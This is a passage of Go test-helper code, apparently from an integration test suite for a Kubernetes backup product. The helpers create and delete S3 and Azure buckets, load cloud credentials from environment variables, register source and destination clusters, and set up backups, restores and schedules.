drivers.ProviderAws:\n\t\t\tCreateS3Bucket(bucketName)\n\t\tcase drivers.ProviderAzure:\n\t\t\tCreateAzureBucket(bucketName)\n\t\t}\n\t})\n}\n\n// ListS3Buckets lists buckets created by this test\nfunc ListS3Buckets() {\n\tid, secret, endpoint, s3Region, disableSSLBool := getAWSDetailsFromEnv()\n\tsess, err := session.NewSession(&aws.Config{\n\t\tEndpoint: aws.String(endpoint),\n\t\tCredentials: credentials.NewStaticCredentials(id, secret, \"\"),\n\t\tRegion: aws.String(s3Region),\n\t\tDisableSSL: aws.Bool(disableSSLBool),\n\t\tS3ForcePathStyle: aws.Bool(true),\n\t},\n\t)\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to get S3 session to create bucket. Error: [%v]\", err))\n\n\tS3Client := s3.New(sess)\n\toutput, err := S3Client.ListBuckets(&s3.ListBucketsInput{})\n\n\tlogrus.Infof(\"%s\", output)\n\n\tfor _, bucket := range output.Buckets {\n\t\tif strings.Contains(*bucket.Name, \"tp-backup-bucket-\") {\n\t\t\tlogrus.Infof(\"HIHIHI: %s\", *bucket.Name)\n\t\t}\n\t}\n}\n\n// DelS3Buckets deletes buckets created by this test\nfunc DelS3Buckets() {\n\tid, secret, endpoint, s3Region, disableSSLBool := getAWSDetailsFromEnv()\n\tsess, err := session.NewSession(&aws.Config{\n\t\tEndpoint: aws.String(endpoint),\n\t\tCredentials: credentials.NewStaticCredentials(id, secret, \"\"),\n\t\tRegion: aws.String(s3Region),\n\t\tDisableSSL: aws.Bool(disableSSLBool),\n\t\tS3ForcePathStyle: aws.Bool(true),\n\t},\n\t)\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to get S3 session to create bucket. Error: [%v]\", err))\n\n\tS3Client := s3.New(sess)\n\toutput, err := S3Client.ListBuckets(&s3.ListBucketsInput{})\n\n\tlogrus.Infof(\"%s\", output)\n\n\tfor _, bucket := range output.Buckets {\n\t\tif strings.Contains(*bucket.Name, \"tp-backup-bucket-\") {\n\t\t\tDeleteS3Bucket(*bucket.Name)\n\t\t}\n\t}\n}\n\n// CreateS3Bucket creates S3 bucket\nfunc CreateS3Bucket(bucketName string) {\n\tid, secret, endpoint, s3Region, disableSSLBool := getAWSDetailsFromEnv()\n\tsess, err := session.NewSession(&aws.Config{\n\t\tEndpoint: aws.String(endpoint),\n\t\tCredentials: credentials.NewStaticCredentials(id, secret, \"\"),\n\t\tRegion: aws.String(s3Region),\n\t\tDisableSSL: aws.Bool(disableSSLBool),\n\t\tS3ForcePathStyle: aws.Bool(true),\n\t},\n\t)\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to get S3 session to create bucket. Error: [%v]\", err))\n\n\tS3Client := s3.New(sess)\n\n\t_, err = S3Client.CreateBucket(&s3.CreateBucketInput{\n\t\tBucket: aws.String(bucketName),\n\t})\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to create bucket [%v]. Error: [%v]\", bucketName, err))\n\n\terr = S3Client.WaitUntilBucketExists(&s3.HeadBucketInput{\n\t\tBucket: aws.String(bucketName),\n\t})\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to wait for bucket [%v] to get created. Error: [%v]\", bucketName, err))\n}\n\n// CreateAzureBucket creates Azure S3 bucket\nfunc CreateAzureBucket(bucketName string) {\n\t// From the Azure portal, get your Storage account blob service URL endpoint.\n\t_, _, _, _, accountName, accountKey := getAzureCredsFromEnv()\n\n\turlStr := fmt.Sprintf(\"https://%s.blob.core.windows.net/%s\", accountName, bucketName)\n\tlogrus.Infof(\"Create container url %s\", urlStr)\n\t// Create a ContainerURL object that wraps a soon-to-be-created container's URL and a default pipeline.\n\tu, _ := url.Parse(urlStr)\n\tcredential, err := azblob.NewSharedKeyCredential(accountName, accountKey)\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to create shared key credential [%v]\", err))\n\n\tcontainerURL := azblob.NewContainerURL(*u, azblob.NewPipeline(credential, azblob.PipelineOptions{}))\n\n\tctx := context1.Background() // This example uses a never-expiring context\n\n\t_, err = containerURL.Create(ctx, azblob.Metadata{}, azblob.PublicAccessNone)\n\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to create container. Error: [%v]\", err))\n}\n\nfunc getAWSDetailsFromEnv() (id string, secret string, endpoint string,\n\ts3Region string, disableSSLBool bool) {\n\n\t// TODO: add separate function to return cred object based on type\n\tid = os.Getenv(\"AWS_ACCESS_KEY_ID\")\n\texpect(id).NotTo(equal(\"\"),\n\t\t\"AWS_ACCESS_KEY_ID Environment variable should not be empty\")\n\n\tsecret = os.Getenv(\"AWS_SECRET_ACCESS_KEY\")\n\texpect(secret).NotTo(equal(\"\"),\n\t\t\"AWS_SECRET_ACCESS_KEY Environment variable should not be empty\")\n\n\tendpoint = os.Getenv(\"S3_ENDPOINT\")\n\texpect(endpoint).NotTo(equal(\"\"),\n\t\t\"S3_ENDPOINT Environment variable should not be empty\")\n\n\ts3Region = os.Getenv(\"S3_REGION\")\n\texpect(s3Region).NotTo(equal(\"\"),\n\t\t\"S3_REGION Environment variable should not be empty\")\n\n\tdisableSSL := os.Getenv(\"S3_DISABLE_SSL\")\n\texpect(disableSSL).NotTo(equal(\"\"),\n\t\t\"S3_DISABLE_SSL Environment variable should not be empty\")\n\n\tdisableSSLBool, err := strconv.ParseBool(disableSSL)\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"S3_DISABLE_SSL=%s is not a valid boolean value\", disableSSL))\n\n\treturn id, secret, endpoint, s3Region, disableSSLBool\n}\n\nfunc getAzureCredsFromEnv() (tenantID, clientID, clientSecret, subscriptionID, accountName, accountKey string) {\n\taccountName = os.Getenv(\"AZURE_ACCOUNT_NAME\")\n\texpect(accountName).NotTo(equal(\"\"),\n\t\t\"AZURE_ACCOUNT_NAME Environment variable should not be empty\")\n\n\taccountKey = os.Getenv(\"AZURE_ACCOUNT_KEY\")\n\texpect(accountKey).NotTo(equal(\"\"),\n\t\t\"AZURE_ACCOUNT_KEY Environment variable should not be empty\")\n\n\tlog1.Printf(\"Create creds for azure\")\n\ttenantID = os.Getenv(\"AZURE_TENANT_ID\")\n\texpect(tenantID).NotTo(equal(\"\"),\n\t\t\"AZURE_TENANT_ID Environment variable should not be empty\")\n\n\tclientID = os.Getenv(\"AZURE_CLIENT_ID\")\n\texpect(clientID).NotTo(equal(\"\"),\n\t\t\"AZURE_CLIENT_ID Environment variable should not be empty\")\n\n\tclientSecret = os.Getenv(\"AZURE_CLIENT_SECRET\")\n\texpect(clientSecret).NotTo(equal(\"\"),\n\t\t\"AZURE_CLIENT_SECRET Environment variable should not be empty\")\n\n\tsubscriptionID = os.Getenv(\"AZURE_SUBSCRIPTION_ID\")\n\texpect(clientSecret).NotTo(equal(\"\"),\n\t\t\"AZURE_SUBSCRIPTION_ID Environment variable should not be empty\")\n\n\treturn tenantID, clientID, clientSecret, subscriptionID, accountName, accountKey\n}\n\n// CreateOrganization creates org on px-backup\nfunc CreateOrganization(orgID string) {\n\tStep(fmt.Sprintf(\"Create organization [%s]\", orgID), func() {\n\t\tbackupDriver := Inst().Backup\n\t\treq := &api.OrganizationCreateRequest{\n\t\t\tCreateMetadata: &api.CreateMetadata{\n\t\t\t\tName: orgID,\n\t\t\t},\n\t\t}\n\t\tctx, err := backup.GetPxCentralAdminCtx()\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\t\terr))\n\t\t_, err = backupDriver.CreateOrganization(ctx, req)\n\t\tif err != nil && strings.Contains(err.Error(), \"already exists\") {\n\t\t\treturn\n\t\t}\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to create organization [%s]. Error: [%v]\",\n\t\t\t\torgID, err))\n\t})\n}\n\n// CreateCloudCredential creates cloud credetials\n// func CreateCloudCredential(provider, name string, orgID string) {\nfunc CreateCloudCredential(provider, name string, uid, orgID string) {\n\tStep(fmt.Sprintf(\"Create cloud credential [%s] in org [%s]\", name, orgID), func() {\n\t\tlogrus.Printf(\"Create credential name %s for org %s provider %s\", name, orgID, provider)\n\t\tbackupDriver := Inst().Backup\n\t\tswitch provider {\n\t\tcase drivers.ProviderAws:\n\t\t\tlog1.Printf(\"Create creds for aws\")\n\t\t\tid := os.Getenv(\"AWS_ACCESS_KEY_ID\")\n\t\t\texpect(id).NotTo(equal(\"\"),\n\t\t\t\t\"AWS_ACCESS_KEY_ID Environment variable should not be empty\")\n\n\t\t\tsecret := os.Getenv(\"AWS_SECRET_ACCESS_KEY\")\n\t\t\texpect(secret).NotTo(equal(\"\"),\n\t\t\t\t\"AWS_SECRET_ACCESS_KEY Environment variable should not be empty\")\n\n\t\t\tcredCreateRequest := &api.CloudCredentialCreateRequest{\n\t\t\t\tCreateMetadata: &api.CreateMetadata{\n\t\t\t\t\tName: name,\n\t\t\t\t\tUid: uid,\n\t\t\t\t\tOrgId: orgID,\n\t\t\t\t},\n\t\t\t\tCloudCredential: &api.CloudCredentialInfo{\n\t\t\t\t\tType: api.CloudCredentialInfo_AWS,\n\t\t\t\t\tConfig: &api.CloudCredentialInfo_AwsConfig{\n\t\t\t\t\t\tAwsConfig: &api.AWSConfig{\n\t\t\t\t\t\t\tAccessKey: id,\n\t\t\t\t\t\t\tSecretKey: secret,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t\tctx, err := backup.GetPxCentralAdminCtx()\n\t\t\texpect(err).NotTo(haveOccurred(),\n\t\t\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\t\t\terr))\n\t\t\t_, err = backupDriver.CreateCloudCredential(ctx, credCreateRequest)\n\t\t\tif err != nil && strings.Contains(err.Error(), \"already exists\") {\n\t\t\t\treturn\n\t\t\t}\n\t\t\texpect(err).NotTo(haveOccurred(),\n\t\t\t\tfmt.Sprintf(\"Failed to create cloud credential [%s] in org [%s]\", name, orgID))\n\t\t// TODO: validate CreateCloudCredentialResponse also\n\t\tcase drivers.ProviderAzure:\n\t\t\tlogrus.Infof(\"Create creds for azure\")\n\t\t\ttenantID, clientID, clientSecret, subscriptionID, accountName, accountKey := getAzureCredsFromEnv()\n\t\t\tcredCreateRequest := &api.CloudCredentialCreateRequest{\n\t\t\t\tCreateMetadata: &api.CreateMetadata{\n\t\t\t\t\tName: name,\n\t\t\t\t\tUid: uid,\n\t\t\t\t\tOrgId: orgID,\n\t\t\t\t},\n\t\t\t\tCloudCredential: &api.CloudCredentialInfo{\n\t\t\t\t\tType: api.CloudCredentialInfo_Azure,\n\t\t\t\t\tConfig: &api.CloudCredentialInfo_AzureConfig{\n\t\t\t\t\t\tAzureConfig: &api.AzureConfig{\n\t\t\t\t\t\t\tTenantId: tenantID,\n\t\t\t\t\t\t\tClientId: clientID,\n\t\t\t\t\t\t\tClientSecret: clientSecret,\n\t\t\t\t\t\t\tAccountName: accountName,\n\t\t\t\t\t\t\tAccountKey: accountKey,\n\t\t\t\t\t\t\tSubscriptionId: subscriptionID,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t\tctx, err := backup.GetPxCentralAdminCtx()\n\t\t\texpect(err).NotTo(haveOccurred(),\n\t\t\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\t\t\terr))\n\t\t\t_, err = backupDriver.CreateCloudCredential(ctx, credCreateRequest)\n\t\t\tif err != nil && strings.Contains(err.Error(), \"already exists\") {\n\t\t\t\treturn\n\t\t\t}\n\t\t\texpect(err).NotTo(haveOccurred(),\n\t\t\t\tfmt.Sprintf(\"Failed to create cloud credential [%s] in org [%s]\", name, orgID))\n\t\t\t// TODO: validate CreateCloudCredentialResponse also\n\t\t}\n\t})\n}\n\n// EnumerateCloudCredential bah\nfunc EnumerateCloudCredential() {\n\tStep(fmt.Sprintf(\"Enumerate\"), func() {\n\t\tbackupDriver := Inst().Backup\n\t\tctx, err := backup.GetPxCentralAdminCtx()\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\t\terr))\n\t\tresponse, err := backupDriver.EnumerateOrganization(ctx)\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to get orgs\"))\n\t\tlogrus.Infof(\"Orgs: %s\", response)\n\n\t\tempty := &api.CloudCredentialEnumerateRequest{\n\t\t\tOrgId: OrgID,\n\t\t}\n\t\tctx, err = backup.GetPxCentralAdminCtx()\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\t\terr))\n\t\tresponse2, err := backupDriver.EnumerateCloudCredential(ctx, empty)\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to get cloud credentials\"))\n\t\tlogrus.Infof(\"Creds: %s\", response2)\n\t})\n}\n\n// CreateBackupLocation creates backup location\nfunc CreateBackupLocation(provider, name, uid, credName, credUID, bucketName, orgID string) {\n\tswitch provider {\n\tcase drivers.ProviderAws:\n\t\tcreateS3BackupLocation(name, uid, credName, credUID, bucketName, orgID)\n\tcase drivers.ProviderAzure:\n\t\tcreateAzureBackupLocation(name, uid, credName, CloudCredUID, bucketName, orgID)\n\t}\n}\n\n// createS3BackupLocation creates backup location\nfunc createS3BackupLocation(name string, uid, cloudCred string, cloudCredUID, bucketName string, orgID string) {\n\tStep(fmt.Sprintf(\"Create S3 backup location [%s] in org [%s]\", name, orgID), func() {\n\t\tCreateS3BackupLocation(name, uid, cloudCred, cloudCredUID, bucketName, orgID)\n\t})\n}\n\n// createS3BackupLocation creates backup location\nfunc createAzureBackupLocation(name, uid, cloudCred, cloudCredUID, bucketName, orgID string) {\n\tStep(fmt.Sprintf(\"Create Azure backup location [%s] in org [%s]\", name, orgID), func() {\n\t\tCreateAzureBackupLocation(name, uid, cloudCred, cloudCredUID, bucketName, orgID)\n\t})\n}\n\n// createS3BackupLocation creates backup location\nfunc createGkeBackupLocation(name string, cloudCred string, orgID string) {\n\tStep(fmt.Sprintf(\"Create GKE backup location [%s] in org [%s]\", name, orgID), func() {\n\t\t// TODO(stgleb): Implement this\n\t})\n}\n\n// CreateS3BackupLocation creates backuplocation for S3\nfunc CreateS3BackupLocation(name string, uid, cloudCred string, cloudCredUID string, bucketName string, orgID string) {\n\ttime.Sleep(60 * time.Second)\n\tbackupDriver := Inst().Backup\n\t_, _, endpoint, region, disableSSLBool := getAWSDetailsFromEnv()\n\tencryptionKey := \"torpedo\"\n\tbLocationCreateReq := &api.BackupLocationCreateRequest{\n\t\tCreateMetadata: &api.CreateMetadata{\n\t\t\tName: name,\n\t\t\tOrgId: orgID,\n\t\t\tUid: uid,\n\t\t},\n\t\tBackupLocation: &api.BackupLocationInfo{\n\t\t\tPath: bucketName,\n\t\t\tEncryptionKey: encryptionKey,\n\t\t\t// CloudCredential: \"foo\",\n\t\t\t// CloudCredential: cloudCred,\n\t\t\tCloudCredentialRef: &api.ObjectRef{\n\t\t\t\tName: cloudCred,\n\t\t\t\tUid: cloudCredUID,\n\t\t\t},\n\t\t\tType: api.BackupLocationInfo_S3,\n\t\t\tConfig: &api.BackupLocationInfo_S3Config{\n\t\t\t\tS3Config: &api.S3Config{\n\t\t\t\t\tEndpoint: endpoint,\n\t\t\t\t\tRegion: region,\n\t\t\t\t\tDisableSsl: disableSSLBool,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tctx, err := backup.GetPxCentralAdminCtx()\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\terr))\n\t_, err = backupDriver.CreateBackupLocation(ctx, bLocationCreateReq)\n\tif err != nil && strings.Contains(err.Error(), \"already exists\") {\n\t\treturn\n\t}\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to create backuplocation [%s] in org [%s]\", name, orgID))\n}\n\n// CreateAzureBackupLocation creates backuplocation for Azure\nfunc CreateAzureBackupLocation(name string, uid string, cloudCred string, cloudCredUID string, bucketName string, orgID string) {\n\tbackupDriver := Inst().Backup\n\tencryptionKey := \"torpedo\"\n\tbLocationCreateReq := &api.BackupLocationCreateRequest{\n\t\tCreateMetadata: &api.CreateMetadata{\n\t\t\tName: name,\n\t\t\tOrgId: orgID,\n\t\t\tUid: uid,\n\t\t},\n\t\tBackupLocation: &api.BackupLocationInfo{\n\t\t\tPath: bucketName,\n\t\t\tEncryptionKey: encryptionKey,\n\t\t\tCloudCredentialRef: &api.ObjectRef{\n\t\t\t\tName: cloudCred,\n\t\t\t\tUid: cloudCredUID,\n\t\t\t},\n\t\t\tType: api.BackupLocationInfo_Azure,\n\t\t},\n\t}\n\tctx, err := backup.GetPxCentralAdminCtx()\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\terr))\n\t_, err = backupDriver.CreateBackupLocation(ctx, bLocationCreateReq)\n\tif err != nil && strings.Contains(err.Error(), \"already exists\") {\n\t\treturn\n\t}\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to create backuplocation [%s] in org [%s]\", name, orgID))\n}\n\n// CreateSourceAndDestClusters creates source and destination cluster\n// 1st cluster in KUBECONFIGS ENV var is source cluster while\n// 2nd cluster is destination cluster\nfunc CreateSourceAndDestClusters(cloudCred, orgID string) {\n\t// TODO: Add support for adding multiple clusters from\n\t// comma separated list of kubeconfig files\n\tkubeconfigs := os.Getenv(\"KUBECONFIGS\")\n\texpect(kubeconfigs).NotTo(equal(\"\"),\n\t\t\"KUBECONFIGS Environment variable should not be empty\")\n\n\tkubeconfigList := strings.Split(kubeconfigs, \",\")\n\t// Validate user has provided at least 2 kubeconfigs for source and destination cluster\n\texpect(len(kubeconfigList)).Should(beNumerically(\">=\", 2), \"At least minimum two kubeconfigs required\")\n\n\terr := dumpKubeConfigs(configMapName, kubeconfigList)\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to get kubeconfigs [%v] from configmap [%s]\", kubeconfigList, configMapName))\n\n\t// Register source cluster with backup driver\n\tStep(fmt.Sprintf(\"Create cluster [%s] in org [%s]\", sourceClusterName, orgID), func() {\n\t\tsrcClusterConfigPath, err := getSourceClusterConfigPath()\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to get kubeconfig path for source cluster. Error: [%v]\", err))\n\n\t\tlogrus.Debugf(\"Save cluster %s kubeconfig to %s\", sourceClusterName, srcClusterConfigPath)\n\t\tCreateCluster(sourceClusterName, cloudCred, srcClusterConfigPath, orgID)\n\t})\n\n\t// Register destination cluster with backup driver\n\tStep(fmt.Sprintf(\"Create cluster [%s] in org [%s]\", destinationClusterName, orgID), func() {\n\t\tdstClusterConfigPath, err := getDestinationClusterConfigPath()\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to get kubeconfig path for destination cluster. Error: [%v]\", err))\n\t\tlogrus.Debugf(\"Save cluster %s kubeconfig to %s\", destinationClusterName, dstClusterConfigPath)\n\t\tCreateCluster(destinationClusterName, cloudCred, dstClusterConfigPath, orgID)\n\t})\n}\n\nfunc getSourceClusterConfigPath() (string, error) {\n\tkubeconfigs := os.Getenv(\"KUBECONFIGS\")\n\tif kubeconfigs == \"\" {\n\t\treturn \"\", fmt.Errorf(\"Empty KUBECONFIGS environment variable\")\n\t}\n\n\tkubeconfigList := strings.Split(kubeconfigs, \",\")\n\texpect(len(kubeconfigList)).Should(beNumerically(\">=\", 2),\n\t\t\"At least minimum two kubeconfigs required\")\n\n\treturn fmt.Sprintf(\"%s/%s\", kubeconfigDirectory, kubeconfigList[0]), nil\n}\n\nfunc getDestinationClusterConfigPath() (string, error) {\n\tkubeconfigs := os.Getenv(\"KUBECONFIGS\")\n\tif kubeconfigs == \"\" {\n\t\treturn \"\", fmt.Errorf(\"Empty KUBECONFIGS environment variable\")\n\t}\n\n\tkubeconfigList := strings.Split(kubeconfigs, \",\")\n\texpect(len(kubeconfigList)).Should(beNumerically(\">=\", 2),\n\t\t\"At least minimum two kubeconfigs required\")\n\n\treturn fmt.Sprintf(\"%s/%s\", kubeconfigDirectory, kubeconfigList[1]), nil\n}\n\nfunc dumpKubeConfigs(configObject string, kubeconfigList []string) error {\n\tlogrus.Infof(\"dump kubeconfigs to file system\")\n\tcm, err := core.Instance().GetConfigMap(configObject, \"default\")\n\tif err != nil {\n\t\tlogrus.Errorf(\"Error reading config map: %v\", err)\n\t\treturn err\n\t}\n\tlogrus.Infof(\"Get over kubeconfig list %v\", kubeconfigList)\n\tfor _, kubeconfig := range kubeconfigList {\n\t\tconfig := cm.Data[kubeconfig]\n\t\tif len(config) == 0 {\n\t\t\tconfigErr := fmt.Sprintf(\"Error reading kubeconfig: found empty %s in config map %s\",\n\t\t\t\tkubeconfig, configObject)\n\t\t\treturn fmt.Errorf(configErr)\n\t\t}\n\t\tfilePath := fmt.Sprintf(\"%s/%s\", kubeconfigDirectory, kubeconfig)\n\t\tlogrus.Infof(\"Save kubeconfig to %s\", filePath)\n\t\terr := ioutil.WriteFile(filePath, []byte(config), 0644)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// DumpKubeconfigs gets kubeconfigs from configmap\nfunc DumpKubeconfigs(kubeconfigList []string) {\n\terr := dumpKubeConfigs(configMapName, kubeconfigList)\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to get kubeconfigs [%v] from configmap [%s]\", kubeconfigList, configMapName))\n}\n\n// CreateCluster creates/registers cluster with px-backup\nfunc CreateCluster(name string, cloudCred string, kubeconfigPath string, orgID string) {\n\n\tStep(fmt.Sprintf(\"Create cluster [%s] in org [%s]\", name, orgID), func() {\n\t\tbackupDriver := Inst().Backup\n\t\tkubeconfigRaw, err := ioutil.ReadFile(kubeconfigPath)\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to read kubeconfig file from location [%s]. Error:[%v]\",\n\t\t\t\tkubeconfigPath, err))\n\n\t\tclusterCreateReq := &api.ClusterCreateRequest{\n\t\t\tCreateMetadata: &api.CreateMetadata{\n\t\t\t\tName: name,\n\t\t\t\tOrgId: orgID,\n\t\t\t},\n\t\t\tKubeconfig: base64.StdEncoding.EncodeToString(kubeconfigRaw),\n\t\t\tCloudCredential: cloudCred,\n\t\t}\n\t\tctx, err := backup.GetPxCentralAdminCtx()\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\t\terr))\n\t\t_, err = backupDriver.CreateCluster(ctx, clusterCreateReq)\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to create cluster [%s] in org [%s]. Error : [%v]\",\n\t\t\t\tname, orgID, err))\n\t})\n}\n\n// SetClusterContext sets context to clusterConfigPath\nfunc SetClusterContext(clusterConfigPath string) {\n\terr := Inst().S.SetConfig(clusterConfigPath)\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to switch to context. Error: [%v]\", err))\n\n\terr = Inst().S.RefreshNodeRegistry()\n\texpect(err).NotTo(haveOccurred())\n\n\terr = Inst().V.RefreshDriverEndpoints()\n\texpect(err).NotTo(haveOccurred())\n}\n\n//GetBackupCreateRequest returns a backupcreaterequest\nfunc GetBackupCreateRequest(backupName string, clusterName string, bLocation string, bLocationUID string,\n\tnamespaces []string, labelSelectors map[string]string, orgID string) *api.BackupCreateRequest {\n\treturn &api.BackupCreateRequest{\n\t\tCreateMetadata: &api.CreateMetadata{\n\t\t\tName: backupName,\n\t\t\tOrgId: orgID,\n\t\t},\n\t\tBackupLocationRef: &api.ObjectRef{\n\t\t\tName: bLocation,\n\t\t\tUid: bLocationUID,\n\t\t},\n\t\tCluster: clusterName,\n\t\tNamespaces: namespaces,\n\t\tLabelSelectors: labelSelectors,\n\t}\n}\n\n//CreateBackupFromRequest creates a backup using a provided request\nfunc CreateBackupFromRequest(backupName string, orgID string, request *api.BackupCreateRequest) (err error) {\n\tctx, err := backup.GetPxCentralAdminCtx()\n\texpect(err).NotTo(haveOccurred(),\n\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\", err))\n\tbackupDriver := Inst().Backup\n\t_, err = backupDriver.CreateBackup(ctx, request)\n\tif err != nil {\n\t\tlogrus.Errorf(\"Failed to create backup [%s] in org [%s]. Error: [%v]\",\n\t\t\tbackupName, orgID, err)\n\t}\n\treturn err\n}\n\n// CreateBackupGetErr creates backup without ending the test if it errors\nfunc CreateBackupGetErr(backupName string, clusterName string, bLocation string, bLocationUID string,\n\tnamespaces []string, labelSelectors map[string]string, orgID string) (err error) {\n\n\tStep(fmt.Sprintf(\"Create backup [%s] in org [%s] from cluster [%s]\",\n\t\tbackupName, orgID, clusterName), func() {\n\n\t\tbackupDriver := Inst().Backup\n\t\tbkpCreateRequest := &api.BackupCreateRequest{\n\t\t\tCreateMetadata: &api.CreateMetadata{\n\t\t\t\tName: backupName,\n\t\t\t\tOrgId: orgID,\n\t\t\t},\n\t\t\tBackupLocationRef: &api.ObjectRef{\n\t\t\t\tName: bLocation,\n\t\t\t\tUid: bLocationUID,\n\t\t\t},\n\t\t\tCluster: sourceClusterName,\n\t\t\tNamespaces: namespaces,\n\t\t\tLabelSelectors: labelSelectors,\n\t\t}\n\t\tctx, err := backup.GetPxCentralAdminCtx()\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\t\terr))\n\t\t_, err = backupDriver.CreateBackup(ctx, bkpCreateRequest)\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Failed to create backup [%s] in org [%s]. Error: [%v]\",\n\t\t\t\tbackupName, orgID, err)\n\t\t}\n\t})\n\treturn err\n}\n\n// CreateRestoreGetErr creates restore\nfunc CreateRestoreGetErr(restoreName string, backupName string,\n\tnamespaceMapping map[string]string, clusterName string, orgID string) (err error) {\n\n\tStep(fmt.Sprintf(\"Create restore [%s] in org [%s] on cluster [%s]\",\n\t\trestoreName, orgID, clusterName), func() {\n\n\t\tbackupDriver := Inst().Backup\n\t\tcreateRestoreReq := &api.RestoreCreateRequest{\n\t\t\tCreateMetadata: &api.CreateMetadata{\n\t\t\t\tName: restoreName,\n\t\t\t\tOrgId: orgID,\n\t\t\t},\n\t\t\tBackup: backupName,\n\t\t\tCluster: sourceClusterName,\n\t\t\tNamespaceMapping: namespaceMapping,\n\t\t}\n\t\tctx, err := backup.GetPxCentralAdminCtx()\n\t\texpect(err).NotTo(haveOccurred(),\n\t\t\tfmt.Sprintf(\"Failed to fetch px-central-admin ctx: [%v]\",\n\t\t\t\terr))\n\t\t_, err = backupDriver.CreateRestore(ctx, createRestoreReq)\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Failed to create restore [%s] in org [%s] on cluster [%s]. Error: [%v]\",\n\t\t\t\trestoreName, orgID, clusterName, err)\n\t\t}\n\n\t\t// TODO: validate createClusterResponse also\n\t})\n\treturn err\n}\n\n// CreateScheduledBackup creates a scheduled backup with time interval\nfunc CreateScheduledBackup(backupScheduleName, backupScheduleUID, schedulePolicyName, schedulePolicyUID string,\n\tinterval time.Duration, namespaces []string) (err error) {\n\tvar ctx context1.Context\n\tlabelSelectors := make(map[string]string)\n\tStep(fmt.Sprintf(\"Create scheduled backup %s of namespaces %v on cluster %s in organization %s\",\n\t\tbackupScheduleNamePrefix+backupScheduleName, namespaces, sourceClusterName, OrgID), func() {\n\t\tbackupDriver := Inst().Backup\n\n\t\t// Create a schedule policy\n\t\tschedulePolicyCreateRequest := &api.SchedulePolicyCreateRequest{\n\t\t\tCreateMetadata: &api.CreateMetadata{\n\t\t\t\tName: schedulePolicyName,\n\t\t\t\tUid: schedulePolicyUID,\n\t\t\t\tOrgId: OrgID,\n\t\t\t},\n\n\t\t\tSchedulePolicy: &api.SchedulePolicyInfo{\n\t\t\t\tInterval: &api.SchedulePolicyInfo_IntervalPolicy{\n\t\t\t\t\t// Retain 5 backups at a time for ease of inspection\n\t\t\t\t\tRetain: 5,\n\t\t\t\t\tMinutes: int64(interval / time.Minute),\n\t\t\t\t\tIncrementalCount: &api.SchedulePolicyInfo_IncrementalCount{\n\t\t\t\t\t\tCount: 0,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t\tctx, err = backup.GetPxCentralAdminCtx()\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\t_, err = backupDriver.CreateSchedulePolicy(ctx, schedulePolicyCreateRequest)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\n\t\t// Create a backup schedule\n\t\tbkpScheduleCreateRequest := &api.BackupScheduleCreateRequest{\n\t\t\tCreateMetadata: &api.CreateMetadata{\n\t\t\t\tName: backupScheduleNamePrefix + backupScheduleName,\n\t\t\t\tUid: backupScheduleUID,\n\t\t\t\tOrgId: OrgID,\n\t\t\t},\n\n\t\t\tNamespaces: namespaces,\n\n\t\t\tReclaimPolicy: api.BackupScheduleInfo_Delete,\n\t\t\t// Name of Cluster\n\t\t\tCluster: sourceClusterName,\n\t\t\t// Label 